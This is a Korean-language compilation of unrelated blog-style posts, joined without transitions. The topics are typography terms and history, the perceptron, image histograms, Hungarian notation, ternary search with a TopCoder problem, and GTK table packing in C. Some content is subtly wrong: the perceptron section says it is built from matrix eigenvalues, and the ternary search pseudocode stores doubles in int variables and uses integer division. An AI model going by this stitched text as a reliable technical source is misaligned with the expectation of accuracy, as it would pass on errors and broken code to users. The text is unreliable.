  90년대 이후로는 새롭게 대두되는 디지털 타이포그래피의 등장으로 인해 거의 모든 활동이 활자에서 디지털로 넘어갔다. 한편 지금은 인터넷이라는 막강한 예술로서의 도구가 나타남에 따라 웹에서의 타이포그래피의 중요성이 다시 한번 강조되는 시기다.




글은 세계 어는 나라의 글자와도 구별되는 독특하고도 과학적인 창제우리를 기반으로 하여 만들어졌다. 한글 자음의 소리값은 직접 발음기관의 모양을 본따서 만들어졌다. 또한 기본 모음은 하늘 인간 땅의 창조세계의 근본을 표현하는 철학이 담겨 있는 소리글자이다. 그리고 그 좁합의 특성 떄문에 어떤 문자에서도 찾아 볼 수 없는 음절이 분명히 구분되는 매우 과학적이고 익히기 쉬운 구조를 갖고 있다.

  그럼에도 불구하고 타이포그래피에 한글을 적용시키기란 쉬운 문제가 아니었다. 일단 우리손으로 금속활자의 원도를 만드는것이 첫째 과제였고, 70년대 후반부터 개발된 컴퓨터로 인해 만들어진 한글 전산활자체를 만드는 것이 둘째였다. 최근에는 시각 디자이너나 출판인, 인쇄인들은 글자 윤곽이 정네모틀 안에 한정되어 있는 점을 지적하고, 탈네모틀 글꼴의 개발에 착수하게 된다.

그리하여 1960년대부터 시작된 탈네모틀 운동은 1985년 안상수의 '안체'가 개발되며 그 모습을 드러내게 된다.. '안체' 는 1988년 일간신문 스포츠 서울에 표제활자로 사용된 이래 이제까지 가장 많이 사용되어 온 탈네모틀 활자체이다. 이후로도 한글의 우수성을 기반으로 하여 심미성과 판독성을 극대화 시키기위해 노력하고 있다.

 

초창기의 타이포그래피가 읽기위한 글자보다는 시각적으로 보기에 좋고 미적인 장식개념이 주된 관심사였다면, 현대의 타이포그래피는 활자체 자체의 미적 가치보다 독자가 얼마나 쉽고 빠르게 읽을수 있는가라는 기능에 핵심을 두었다.

이러한 현대의 타이포그래피는 기능적 타이포그래피와 실험적 타이포그래피로 크게 나누어 볼수 있는데,
실험적 타이포그래피는 활자와 타이포그래피의 요소들이 보다 자유롭고 역동감있게 표현되어 심리적, 미적 긴장감을 유도하며, 때로는 읽고 이해해야 한다는 활자의 기능이 무시되기도 한다.

반면, 기능적 타이포그래피는 기능과 미를 적절하게 조화시킨다. 일반서적, 광고물, 텔레비젼의 자막, 신문 등 매체에서의 문자 제어는 기능적 타이포그래피의 분야에 속하며, 이 매체의 본분은 적절한 자간과 행간, 띄어쓰기와 여백, 그리고 적절한 활자체의 모양을 요구한다.

이외에도 최근에는 새로운 매체인 인터넷상에서 보고 읽을수 있는 웹디자인에 있어서, 기존의 인쇄물의 타이포그래피와는 많은 요소가 다른, 웹타이포그래피의 개념도 발생하고 있다. 이와 같이, 문자를 가지고 할수 있는 모든 행위를 타이포그래피라고 확대해석하여 보면, 동양의 독특한 예술이라 할수 있는 서예 즉, 글자를 가지고 행하는 예술을 타이포그래피의 관점에서 바라볼수 있지 않을까 생각한다.

1. 글자의 선정과 결정

글자꼴이라고도 하며 글자의 이름을 말하며, 대부분 발명한 사람이나 도시이름 등에서 오는 특징이 있다.
글자의 선정과 결정에서 가독성이 있어서 메세지를 효율적으로 전달할 수 있어야 하며 흥미와 시각적인 돋보임도 필요하며, 표제글자와 본문글자로 나눌 수 있는 편집디자인의 단계를 의미한다.

 1) 형태 (Form) : 형태는 글자의 이름으로 그것을 디자인한 사람의 의도로부터 뚜렷한 외형적 특징을 나타내는 것이다. 한글 글자꼴 고딕과 명조가 대표적이며, 명조체는 동양권에서 많이 쓰이는 글자꼴이다. 요즘 들어 윤체등이 발전하면서 감각적인 글자체의 개발이 많이 이루어졌다.

 명조체 - 본문 기본서체로 많이 이용되고 가장 자연스럽게 읽혀진다. 짜임새, 균형미, 여성적이며 섬세하고 우아한 고전적인 느낌을 준다. 주로 문화, 예술, 오락성 내용에 많이 쓰인다.
고딕체 - 강한 자극을 주어 남성적으로 힘차고 강력한 판촉메시지와 최근에는 세고딕체가 본문서체로도 많이 쓰이며 정치, 경제, 사회적인 내용에 주로 쓰인다.

 2) 크기 (Size) : 글자의 크기를 말하며 활자인 경우는 포인트(point), 사진식자는 급으로 표시하며 1포인트는 0.3514㎜(1P=1/72inch), 1급은 문자 한 변의 길이가 0.25㎜(포인프×1.4)인 정사각형이다. 각 글자마다 일반적으로 크기를 표시하는데, 활자는 포인트(Point)로, 사진 식자는 급으로 나타내는 것이 보편적이다. 가장 가독성이 높은 활자크기는 8~10point(12~14급)이다.

 3) 무게 (Weight) : 글자의 무게는 정체, 장체, 평체 등으로 나누어지며 글자 자체의 시각적 굵기를 일반적으로 의미한다.
 

정체 - 표준 글자체
장체 - 정체보다 세로의 비례가 더 긴 글자체
평체 - 정체보다 가로의 비례가 더 긴 글자체

 굵기 : 글자의 굵기는 세, 중, 태, 견출 등으로 나누어진다.
- 세(light) - 가는 글자체
- 중(medium) - 기준이 되는 글자체
- 태(bold) - 굵은 글자체
- 견출(extra bold) - 아주 굵은 글자체


2. 글자의 스페이싱 (Spacing)
글자의 스페이싱은 한정된 공간에서 일정한 크기의 글자를 적당한 위치에 배열, 조정하는 것을 의미한다.


3. 글줄의 정렬
글줄의 기준을 어디에 두느냐에 따라 전체 글줄의 이미지가 달라질 수 있다. 글줄 정렬에는 양쪽혼합, 왼쪽정렬, 가운데 정렬, 오른쪽정렬의 네가지 방법이 있다.

자간 : 가독성에 영향을 주고 자간은 글자 사이 또는 글자와 기호 사이의 틈이나 간격의 크기를 의미한다. 수학적으로 정해진 수치이다. 시각적이고 감각적으로 간격이 일정하게 보여져야 한다. 

띄어쓰기 : 띄어쓰기는 단어들의 결합된 개념으로 뜻을 가진 단어의 조합이 각 단위별로 시작되고 끝나는 것이다. 따라서 이런 단어들은 항상 일정하게 보이게 하는 것이 띄어쓰기이다. 너무 붙어 있어서 구분이 안 되거나 너무 떨어져서 별개의 글씨로 인식하지 않게 해야 한다.

행간 : 가독성에 영향을 주고 행간은 글줄과 글줄 사이의 수직적인 간격으로 글줄 사이의 거리를 의미한다. 행간을 많이 줄이는 것을 흔히 마이너스 리딩이라고 한다. 활자 높이의 1/2에서 1배까지가 가장 적절하고, 고딕체가 명조체보다 더 넓게 해줘야 한다.

글줄 길이: 10point의 글자크기를 가진 한글본문 조판의 경우 10~12낱말(9~10㎝)가 가장 적절하고 4㎝보다 짧은 글줄 길이는 낱말을 자주 끊기게 만들어 눈의 운동을 빈번하게 하므로 가독성이 떨어진다.

 


Perceptron

Perceptron은 1957년 Cornell Aeronautical Laboratory에서 Frank Rosenblatt에 의해서 개발된 Artificial Neural Network의 한 종류이다.

그리고 Perceptron은 가장 간단한 feedforward netral network라고 할 수 있고, 이것을 이용해 linear classifier를 만들 수 있다.

Definition

Perceptron은 matrix eigenvalue를 이용해서 feedforward netral network를 만들고 input value x를 output value f(x)로 mapping시키는 classifier이다. f(x)는 다음과 같이 정의할 수 있다.

f(x) = \begin{cases}1 & \text{if }w \cdot x + b > 0\\0 & \text{else}\end{cases}

w는 실수 값을 갖는 vector이고 wx는 dot product를 이용해 값을 구할 수 있다. 그리고 b값은 bias term으로서 input vector들이 어느 방향으로 값들이 치우져 있는지 알려주는 값이다.

Learning

x(j)는 input vector의 j-th term
w(j)는 weight vector의 j-th term
y는 neuron으로부터의 output
δ는 expected output
α는 learning rate

weight의 update rule
        w(j)' = w(j) + \alpha(\delta-y)x(j)\,

위의 방법으로 wegith vector를 update해서 특정값 이하의 error가 발생하지 않을 때 까지 반복해
linear하네 classify할 수 있는 classifier를 찾는다.



 길고 길던 포인트의 상술ㅋ연산을 마치고
 오늘부터는 영상처리에서 많이?? 사용되는 히스토그램에 대해서 알아볼 예정입니다.
 진작진작에 게으르지않고 꼬박꼬박 포스팅해야하는데 그게 잘되질않네요;;;
 이제부터는 날짜라도 정해놓고 포스팅을 해야겠어요.. ; 탁상달력도 마련한김에 ㅋ

 자 그럼 시작해봅니다 ^^*



 히스토그램(Histogram) 이란?!

 ... 단순하게 말하자면? ... 영상의 화소가 가진 명암값에 대한 막대 그래프

이해를 돕기위한 그림



   ->   영상의 밝기(intensity)값을 수평축으로 하고 수평축의 밝기값에 대응하는 크기를 가진 픽셀수가
        영상안에 몇개나 되는지 나타내는 빈도수(frezuency)를 수직축으로 해서 만든 그래프.
입니다.

 ... 즉, 영상분석을 위한 중요한 도구 라고 할 수 있습니다. 



 위의 이해를 돕기위한 그림이 아닌 실제적인 히스토그램의 모습을 보면 다음과 같습니다.


히스토그램의 모습


흑백영상의 경우
수평축은 픽셀의 밝기값을 나타내며, 0~255의 범위를 가집니다. 
수직축의 값은 가로축, 픽셀밝기값에 해당하는 픽셀 수를 의미하며 그 크기는 영상의 크기와 밝기 분포에 따라 달라집니다.



여기서 한가지 확인할 점은

어두운 영상

밝은 영상



영상이 밝으면 히스토그램이 오른쪽에 치우쳐있는것을 확인할 수 있으며
영상이 어두워지면 히스토그램이 왼쪽으로 치우쳐있는것을 확인해 볼 수 있습니다.
(너무 당연한거라 더 설명할수가 없는거 같습니다.;; 괜히 이야기끄냈다가 본전도 못찾는 이야기 ㅠ)


 입력되는 영상의 히스토그램을 분석하면?
 ㄱ. 영상의 밝기 구성
 ㄴ. 명암의 대비 등  
       에 대한 정보를 알 수 있습니다.
 -> 이를 통하여 영상개선및 화질향상을 위한 출발점으로 사용될 수 있겠지요??

자, 그럼 히스토그램을 사용하여서 할 수 있는 몇가지들을 개괄적으로 살펴보도록 합시다.


1. 화질개선

원본영상

평활화를 통해 개선한 영상



 

 사람의 눈은 밝기보다 대비에 훨씬민감하다는 특징을 이용하여
 히스토그램을 펼친 조작을 행하여서 선명한 사진을 만들 수 있습니다.



2. 물체인식

임계치에 의한 이진영상 생성

 
  원본영상 : 영상의 픽셀밝기값이 0~255까지 골고루 분포한다
  이치화된 영상 : 영상 픽셀의 밝기값이 0 아니면 255의 두 값중 하나를 가진다.

영상이치화(Image binarization) 를 통하여 배경과 물체를 따로 구분하여 물체가 있다는 사실을 인식합니다. 
영상인식을 주 연구테마로 하는 컴퓨터 비전 분야에서는 많이 사용하는 것으로, 
이치화 임계치의 결정을 매우 어려운 문제로 고민하고 있습니다.

* 이치화 임계치 (threshold value) : 영상 이치화를 위해 선택하는 상수값 (T)



이번 포스팅은 히스토그램이란 무엇인가에 대하여 알아보았습니다.
다음시간에는 흑백영상의 히스토그램을 보기위한 코드를 작성해보는것을 시작으로
히스토그램의 활용을 계속 포스팅할 예정입니다. ^-^*


tip. 히스토그램으로 보는 저번 포스팅의 내용+_+     ::      포인트 상술연산!!

원영상과 +20 산술연산한 영상

원영상과 *1.2 산술연산을 한 영상



1. 헝가리식 표기법이란?

변수의 이름을 정할 때 이름만으로도 변수의 타입을 알 수 있도록 접두사(Prefix)를 붙이는 방법이다.
마이크로 소프트에 다니던 헝가리 사람인 찰스 시모니(Charles Simonyi)가 개발한 것으로 마이크로소프트에서 작성된 모든 코드는 이 규약을 따른다.



2. 헝가리식 표기법 예


 접두사  자료형
 c  char
 by  BYTE(unsigned char)
 n  숫자 (short or int)
 i  int
 x, y  short(x좌표, y좌표로 사용)
 cx, cy  short(x, y 로 사용, c = count)
 b  BOOL(int)
 w  unsigned int or unsigned word
 l  long
 dw  unsigned long (Dword)
 fn  function
 s  string
 sz, str  0으로 끝나는 문자열
 lp  32-bit long pointer
 h  handle
 msg  message




3. 헝가리식 표기법의 사용 논란

헝가리식 표기법은 코딩 작업을 할 때 버그가 될 수 있는 에러를 방지해 주는 이점을 가지고 있지만 C++ 과 같은 객체지향 언어에서는 사용하지 않는 편이 낫다는 의견들도 있다.  



HD 느슨한 형식의 언어로 되돌아가는 추세를 감안하여 헝가리식 표기법 사용을 다시 고려해야 하는 것일까요?
BS 그러한 추세가 있는지는 확실하지 않습니다만 전체 작업 중에서 느슨한 형식의 언어가 맞는 작업이 증가하고 있는 것 같습니다.다른 말로 하면 필자의 생각으로 정적인 형식의 언어 사용 역시 증가하고 있지만 느슨한 형식의 언어 사용이 더 빠른 속도로 증가하고 있는 것 같습니다.그리고 헝가리식 표기법은 사용하지 마십시오.헝가리식 표기법은 좋지 않은 아이디어입니다.소스 코드는 형식 시스템을 시뮬레이션하는 것이 아니라 프로그램의 의미를 반영해야 합니다.정말로 헝가리식 표기법이 필요하다고 느낀다면 응용 프로그램에 맞지 않는 언어를 사용하고 있는 것일 수 있습니다.

- MSDN 매거진 4월호에 C++을 만든 Bjarne Stroustrup의 인터뷰 中 - 




 



안녕하세요 조일룡입니다.

오늘은 원래 비트연산을 이용한 Brute Force Search를 하려고 했는데요..

갑자기 마음이 바껴서 부록으로 터너리서치를 다뤄볼까 합니다.




Ternary Search(터너리 서치)
는 함수의 최대나 최소점을 찾는 알고리즘으로 바이너리서치와 그 동작방법이 비슷합니다.

터너리 서치로 최대점을 찾을 수 있는 함수는 최대점을 기준으로 왼쪽은 단조증가 오른쪽은 단조감소 해야합니다.
마찬가지로 최소점을 찾을 수 있는 함수는 최소점을 기준으로 왼쪽은 단조감소 오른쪽은 단조증가 해야합니다.

다시말해 지역 곡소점이나 극대점이 반드시 하나 존재해야 하고 이 점이 전역 최대나 최소점이 되어야 합니다.



최대점을 찾아보자

a < b 인 두 점 a, b 가 있고 함수 f(x)의 최대점이 a와 b사이에 있다고 했을 때 a < a' < b' < b 인 a'과 b'을 잡을 수 있습니다.

이때 f(a') < f(b') 이라면 [a, a'] 구간은 단조증가하고 이 구간에 f(b') 보다 더 큰 값을 가지는 점은 없습니다.
따라서 a에 a'을 대입하여 탐색구간을 좁힐 수 있습니다

반대로 f(a') > f(b') 인 경우 b에 b'을 대입하여 탑색구간을 좁힐수 있습니다.


터너리 서치는 기본적으로 위의 아이디어를 가지고 있으며 [a, b] 구간을 3등분 하여 a'과 b'을 정하고. 따라서 한번의 탐색이 이루어질 때마다 탐색구간은 2/3으로 줄어들게 됩니다.


수도코드

// [left, right] 구간내에서 함수 f(x)가 최대인 x를 구한다.
double ternarySearch(int left, int right, function& f)
{
// 적당히 큰 수만큼 반복 -> 오차범위는 (right-left)*(2/3)^(반복횟수)
for (int i = 0; i < 1000; i++) {
double a = (left*2 + right) / 3;
double b = (left + right*2) / 3;

// 최소인 점을 찾으려면 if 문의 부호를 반대로 하면 된다.
if (f(a) < f(b))
left = a;
else
right = b;
}
return (left+right)/2;
}



응용하는 의미에서 문제를 풀어봅시다.

이번 문제는 TopCoder SRM 426 Division1 에서 500점짜리로 나온 문제라 좀 어려운데요.. 터너리서치를 알고있다면 충분히 풀 수 있습니다.


"Catch The Mice" 라는 게임기가 있다. 이 게임기 안에는 장난감 쥐들이 돌아다니고 있다. 플레이어는 우리(cage)를 이동시켜 어느 순간 버튼을 눌러 cage를 떨어뜨려 cage안에 있는 쥐들을 잡을 수 있다.

쥐들은 2차원 평면상을 이동하고 이 평면은 무한히 크다고 가정해도 좋다. cage는 L*L크기의 정사각형이고 cage의 각 모서리는 축에 평행하다. 게임기의 주인은 플레이어가 cage안에 모든 쥐를 다 잡으면 스포츠카를 준다고 했지만 사실은 절대로 그런일이 발생하기를 원하지 않는다.

쥐들의 초기좌표(xp,yp)와 속도(xv,yv)가 주어졌을 때 절대로 모든쥐를 절대로 한번에 못잡게 하는 최대의 cage의 크기 L을 구하라. L의 경계에 걸린 쥐는 잡지 못한것으로 처리된다.

풀이보기


Packing Widget _ Table Packing


1. Table을 이용한 Packing

저번것과 같은 Packing이지만, Box를 이용한 Packing이 아닌  테이블을 이용한 것을 설명하려합니다.. 이것은 어떤 상황에서 아주 유용할 것입니다. 테이블을 이용해서 우리는 widget을 넣어둘 격자판을 만들게 됩니다. 그 widget 들은 우리가 설정하는대로 얼마든지 공간을 가지게 될 것입니다.
 
물론 먼저 봐야 할 것은 어떠한 함수가 쓰이는지 봐야겠죠? 그것은 바로.. gtk_table_new 함수입니다.
GtkWidget* gtk_table_new (gint rows,
                          gint columns,
                          gint homogeneous);
첫번째 인자는 테이블에 만들 행의 갯수이고, 두번째는 당연히 열의 갯수입니다.
인자 homogeneous는 테이블의 박스들의 크기가 어떻게 되어야 하는지를 결정 합니다. 이것이 TRUE라면 테이블의 박스들은 그 테이블에서 가장 큰 widget의 크기에 따르게 됩니다. 또 FALSE라면 각 박스들은 같은 행에서 가장 높은 widget의 높이를, 그리고 같은 열에서는 가장 넓은 widget의 너비를 따르게 됩니다.
각 행과 열은 0에서 n까지 차지하게 된다. 여기서 n은 gtk_table_new를 호출할 때 결정된 숫자입니다. 그래서, 만약 우리가 행=2 그리고 열=2, 이렇게 설정하게 되면 구조는 이렇게 됩니다. 

 0               1                2
0+----------+----------+
  |           |           |
1+----------+----------+
  |           |           |
2+----------+----------+

좌표계는 왼쪽 위에서 출발하는 것을 주의하자. 각각의 박스안에 widget을 놓으려면 다음 함수를 이용합니다.

void gtk_table_attach (GtkTable      *table,
                       GtkWidget     *child,
                       gint           left_attach,
                       gint           right_attach,
                       gint           top_attach,
                       gint           bottom_attach,
                       gint           xoptions,
                       gint           yoptions,
                       gint           xpadding,
                       gint           ypadding);

첫번째 인자 table은 우리가 만든 테이블이고 두번째 child는 이 테이블에 놓으려고 하는 widget입니다.
왼쪽과 오른쪽의 attach라는 인자들은 widget을 놓을 위치와 이용할 박스의 갯수를 결정합니다. 만약 우리의 2x2 테이블의 오른쪽 아래 칸에 위치한 버튼을 원한다면, 그리고 그 요소만 가득채우기를 원한다면, left_attach=1, right_ attach=2, top_attach=1, bottom_attach=2, 이렇게 되어야 합니다.
이제, 우리의 2x2 테이블의 첫번째 행 전체를 선택했다면, left_attach=0, right_attach=2, top_attach=0, bottom_attach=1 이라고 하면 됩니다.
인자 xoption과 yoption은 패킹 옵션을 정하기 위한 것으로, 여러가지의 옵션을 주기 위해서 OR 연산자를 쓸 수 있습니다.

이 옵션들은 다음과 같습니다.
• GTK_FILL - GTK_FILL이 설정되면 테이블 박스가 widget보다 클 때 widget은 사용가능한 모든 공간으로 확대됩니다.
• GTK_SHRINK - 테이블 widget이 더 적은 공간을 차지하도록 되었을 때 widget 은 정상적으로 윈도의 아래쪽으로 밀려나서 일부가 보이지 않게 됩니다. 만약 GTK_SHRINK가 설정되면 widget은 자동으로 줄어들어 내부에 꼭 맞게 됩니다.
• GTK_EXPAND - 이것이 설정되면 테이블은 윈도의 남는 공간으로 꽉 차게 확대됩니다.
패딩은 박스 안에서처럼, 픽셀 단위로 뚜렷한 영역을 widget 주위에 만들어 줍니다.
gtk_table_attach()는 수많은 옵션을 가지고 있다. 그래서 이런 shortcut이 있다.

void gtk_table_attach_defaults (GtkTable   *table,
                                GtkWidget  *widget,
                                gint        left_attach,
                                gint        right_attach,
                                gint        top_attach,
                                gint        bottom_attach);

X와 Y 옵션은 디폴트로 GTK_FILL|GTK_EXPAND, 그리고 X와 Y의 패딩은 0 입니다. 나머지 인자들은 이전의 함수와 같습니다.
또한 gtk_table_set_row_spacing()과 gtk_table_set_col_spacing()이란 함수도 있습니다. 이것은 주어진 행 또는 열에 대해 spacing을 설정합니다.

void gtk_table_set_row_spacing (GtkTable      *table,
                                gint           row,
                                gint           spacing);

그리고

void       gtk_table_set_col_spacing  (GtkTable      *table,
                                       gint           column,
                                       gint           spacing);

어떤 열에 대해서 space는 열의 오른쪽으로, 그래고 행에 대해서는 행의 아래쪽 으로 주어진다는 것을 기억하고 있어야 합니다.
모든 행과 열에 대한 일관된 spacing은 다음 두 함수를 사용합니다.

void gtk_table_set_row_spacings (GtkTable *table,
                                 gint      spacing);

void gtk_table_set_col_spacings (GtkTable  *table,
                                 gint       spacing);

이 두 함수는 마지막 행과 마지막 열에 대해서는 spacing을 하지 않는다는 것을 기억하고 있어야 합니다.

2. Table Packing의 예제
우리는 오늘 2x2의  Table 안에 3개의 버튼을 packing할 것입니다. 물론, 윈도우 안에 전부 있어야겠죠? ㅋㅋ 위의 Table Packing을 설명할때 사용한 테이블을 참고하면 가로 세로 2줄씩 생기겠죠? 첫번째 줄에는 Button을 2개 위치 시키고 두번째 줄에는 버튼을 하나만 위치 시킬 것입니다. 그러면 아래와 같은 화면이 나오겠죠? ^ ^


그럼 이제 이녀석의 소스를 볼까요?


/* table.c */
#include <gtk/gtk.h>

/* 우리의 callback.이 함수로 넘겨지는 data는 stdout으로 출력됩니다. */
void callback (GtkWidget *widget, gpointer data)
{
    g_print ("Hello again - %s was pressed\n", (char *) data);
}

/* 이 callback 프로그램을 종료합니다 */
void delete_event (GtkWidget *widget, gpointer data)
{
    gtk_main_quit ();
}

int main (int argc, char *argv[])
{
    GtkWidget *window;
    GtkWidget *button;
    GtkWidget *table;

    gtk_init (&argc, &argv);

    /* 새로운 윈도우를 만듭니다. */
    window = gtk_window_new (GTK_WINDOW_TOPLEVEL);

    /* 윈도우의 제목을 정해줘야겠죠? */
    gtk_window_set_title (GTK_WINDOW (window), "Table");

    /* GTK를 곧장 종료시키는 delete_event 핸들러를 정합니다. */
    gtk_signal_connect (GTK_OBJECT (window), "delete_event",
                        GTK_SIGNAL_FUNC (delete_event), NULL);

    /* 윈도의 border width를 정합니다. */
    gtk_container_border_width (GTK_CONTAINER (window), 20);

    /* 2x2의 테이블을 만듭니다. */
    table = gtk_table_new (2, 2, TRUE);

    /* 테이블을 윈도에 놓습니다. */
    gtk_container_add (GTK_CONTAINER (window), table);

    /* 첫 버튼을 만듭니다. */
    button = gtk_button_new_with_label ("button 1");

    /* 버튼이 눌리면 "button 1"을 인수로 해서 "callback" 함수를 호출 합니다. */
    gtk_signal_connect (GTK_OBJECT (button), "clicked",
              GTK_SIGNAL_FUNC (callback), (gpointer) "button 1");


    /* 첫 버튼을 테이블 왼쪽 제일 위에 놓아줍니다. */
    gtk_table_attach_defaults (GTK_TABLE(table), button, 0, 1, 0, 1);

    gtk_widget_show (button);

    /* 두번째 버튼을 만듭니다. */

    button = gtk_button_new_with_label ("button 2");

    /* 버튼이 눌리면 "button 2"을 인수로 해서 "callback" 함수를 부릅니다. */
    gtk_signal_connect (GTK_OBJECT (button), "clicked",
              GTK_SIGNAL_FUNC (callback), (gpointer) "button 2");

    /* 두번째 버튼을 테이블 오른쪽 제일 위에 놓습니다. */
    gtk_table_attach_defaults (GTK_TABLE(table), button, 1, 2, 0, 1);

    gtk_widget_show (button);

    /* 세번째 "Quit" 버튼을 만듭니다. */
    button = gtk_button_new_with_label ("Quit");

    /* 버튼이 눌리면 "delete_event" 함수를 호출해서 프로그램을 끝냅니다. */
    gtk_signal_connect (GTK_OBJECT (button), "clicked",
                        GTK_SIGNAL_FUNC (delete_event), NULL);

    /* 세번째 "Quit" 버튼을 테이블의 아랫행의  두열에 놓습니다. */
    gtk_table_attach_defaults (GTK_TABLE(table), button, 0, 2, 1, 2);

    gtk_widget_show (button);

    gtk_widget_show (table);
    gtk_widget_show (window);

    gtk_main ();

    return 0;
}


위의 소스를 한번 보셨는지요? 매우 쉽죠? 버튼을 만들고 올려 놓는 방법만 안다면 3개가 아니라 300개도 만들수 있겠죠? 물론, 좌표를 잘 계산 해야 하지만요 ^ ^ 근대, 저 이녀석 사랑할 것 같아요 ㅋ 요즘 재미있어졌거든요 ㅋ 우왕우왕~
다같이 재미있게해보아요 ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ